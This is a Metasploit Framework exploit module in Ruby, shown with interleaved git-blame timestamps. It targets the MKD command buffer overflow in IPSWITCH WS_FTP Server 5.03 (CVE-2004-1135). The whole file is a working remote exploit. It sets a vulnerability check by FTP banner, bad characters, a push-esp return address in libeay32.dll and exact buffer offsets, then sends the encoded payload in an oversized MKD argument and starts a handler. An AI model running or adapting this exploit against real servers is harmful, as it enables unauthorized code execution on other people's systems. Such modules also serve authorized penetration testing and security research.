2007-02-18 00:10:39 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-11-26 00:04:26 +00:00
|
|
|
require 'msf/core'
|
2005-11-25 04:36:56 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2005-11-25 04:36:56 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Ftp
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-25 04:36:56 +00:00
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2005-11-25 04:36:56 +00:00
|
|
|
'Name' => 'WS-FTP Server 5.03 MKD Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits the buffer overflow found in the MKD
|
|
|
|
command in IPSWITCH WS_FTP Server 5.03 discovered by Reed
|
|
|
|
Arvin.
|
|
|
|
},
|
2011-07-22 20:17:58 +00:00
|
|
|
'Author' => [ 'et', 'Reed Arvin <reedarvin[at]gmail.com>' ],
|
2006-05-06 16:34:39 +00:00
|
|
|
'License' => BSD_LICENSE,
|
2010-10-05 23:41:17 +00:00
|
|
|
'Platform' => [ 'win' ],
|
2005-11-25 04:36:56 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-09-12 04:22:58 +00:00
|
|
|
[ 'CVE', '2004-1135' ],
|
|
|
|
[ 'OSVDB', '12509' ],
|
2005-11-25 04:36:56 +00:00
|
|
|
[ 'BID', '11772'],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 480,
|
|
|
|
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2005-11-25 04:36:56 +00:00
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2005-11-25 04:36:56 +00:00
|
|
|
'WS-FTP Server 5.03 Universal',
|
|
|
|
{
|
|
|
|
'Ret' => 0x25185bb8,
|
|
|
|
# Address is executable to allow XP and 2K
|
|
|
|
# 0x25185bb8 = push esp, ret (libeay32.dll)
|
2010-04-30 08:40:19 +00:00
|
|
|
# B85B1825XX = mov eax,0xXX25185b
|
2005-11-25 04:36:56 +00:00
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Nov 29 2004',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
2010-04-30 08:40:19 +00:00
|
|
|
disconnect
|
2005-11-25 04:36:56 +00:00
|
|
|
if (banner =~ /5\.0\.3/)
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|
2005-11-25 04:36:56 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-25 04:36:56 +00:00
|
|
|
def exploit
|
|
|
|
connect_login
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-25 04:36:56 +00:00
|
|
|
print_status("Trying target #{target.name}...")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
buf = rand_text_alphanumeric(8192)
|
2010-04-30 08:40:19 +00:00
|
|
|
buf[498, 4] = [ 0x7ffd3001 ].pack('V')
|
2005-11-25 04:36:56 +00:00
|
|
|
buf[514, 4] = [ target.ret ].pack('V')
|
|
|
|
buf[518, 4] = [ target.ret ].pack('V')
|
|
|
|
buf[522, 2] = make_nops(2)
|
|
|
|
buf[524, payload.encoded.length] = payload.encoded
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-25 04:36:56 +00:00
|
|
|
send_cmd( ['MKD', buf], true );
|
2006-01-08 14:27:59 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
handler
|
2005-11-25 04:36:56 +00:00
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-09-12 04:22:58 +00:00
|
|
|
end
|